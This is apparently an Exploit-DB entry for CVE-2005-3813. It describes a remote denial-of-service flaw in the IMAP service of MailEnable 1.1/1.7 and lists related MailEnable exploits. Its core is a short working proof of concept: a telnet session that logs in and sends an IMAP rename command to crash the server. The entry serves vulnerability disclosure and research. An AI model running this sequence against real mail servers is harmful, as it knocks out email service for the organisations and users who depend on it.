Exploit

EDB-ID: 26575	Author: Josh Zlatin-Amishav	Published: 2005-11-23
CVE: CVE-2005-3813	Type: Dos	Platform: Windows
Aliases: N/A	Advisory/Source: Link	Tags: N/A
E-DB Verified:	Exploit: Download / View Raw	Vulnerable App: N/A

« Previous Exploit Next Exploit »

source: http://www.securityfocus.com/bid/15556/info

MailEnable is prone to a remote denial of service vulnerability.

The vulnerability presents itself when a user issues a malicious rename request following authentication.

Remote attackers can exploit this issue to trigger a denial of service condition. 

telnet localhost 143
a1 login josh byebye
a2 rename foo bar

where josh and byebye are the login credentials for an existing mailbox.

« Previous Exploit Next Exploit »

Related Exploits

Trying to match CVEs (1): CVE-2005-3813
Trying to match OSVDBs (1): 21109
Other Possible E-DB Search Terms: MailEnable 1.1/1.7, MailEnable 1.1, MailEnable

Date	Title	Author
2009-08-31	MailEnable 1.52 - HTTP Mail Service Stack Buffer Overflow (PoC)	fl0 fl0w
2005-04-05	MailEnable Enterprise 1.x - IMAPd Remote Overflow	Expanders
2010-07-07	MailEnable - Authorisation Header Buffer Overflow (Metasploit)	Metasploit
2010-06-15	MailEnable - IMAPD W3C Logging Buffer Overflow (Metasploit)	Metasploit
2002-11-18	MailEnable 1.501x - Email Server Buffer Overflow	redsand
2005-11-20	MailEnable 1.54 Pro - Universal IMAPD W3C Logging Buffer Overflow (Metasploit)	y0
2005-03-17	MailEnable 1.8 - Remote Format String Denial of Service	Tal Zeltzer
2006-06-24	MailEnable 1.x - SMTP HELO Command Remote Denial of Service	db0
2006-11-29	MailEnable 2.x - SMTP NTLM Multiple Authentication Vulnerabilities	mu-b
2008-03-07	MailEnable 3.13 - IMAP Service Multiple Remote Vulnerabilities	Luigi Auriemma
2008-03-11	MailEnable 3.13 SMTP Service - 'VRFY/EXPN' Denial of Service	ryujin
2012-01-12	MailEnable 6.02 - 'ForgottonPassword.aspx' Cross-Site Scripting	Sajjad Pourali
2005-04-25	MailEnable Enterprise & Professional - https Remote Buffer Overflow	CorryL
2005-04-05	MailEnable Enterprise 1.x - SMTP Remote Denial of Service	CorryL
2012-08-08	mailenable enterprise 6.5 - Persistent Cross-Site Scripting	loneferret
2005-12-19	MailEnable Enterprise Edition 1.1 - 'EXAMINE' Remote Buffer Overflow	muts
2010-04-30	MailEnable IMAPD 1.54 - STATUS Request Buffer Overflow (Metasploit)	Metasploit
2007-02-16	MailEnable IMAPD Enterprise 2.32 < 2.34 - Remote Buffer Overflow	mu-b
2010-04-30	MailEnable IMAPD Professional (2.35) - Login Request Buffer Overflow (Metasploit)	Metasploit
2007-02-16	MailEnable IMAPD Professional 2.35 - Remote Buffer Overflow	mu-b
2004-05-09	MailEnable Mail Server HTTPMail 1.x - Remote Heap Overflow	Behrang Fou...
2004-11-25	MailEnable Mail Server IMAP 1.52 - Remote Buffer Overflow	class101
2007-02-14	MailEnable Professional/Enterprise 2.35 - Out of Bounds Denial of Service	mu-b
2007-03-02	MailEnable Professional/Enterprise 2.37 - 'APPEND' Remote Buffer Overflow	mu-b
2007-02-14	MailEnable Professional/Enterprise 2.37 - Denial of Service	mu-b

MailEnable 1.1/1.7 - IMAP Rename Request Remote Denial of Service

Related Exploits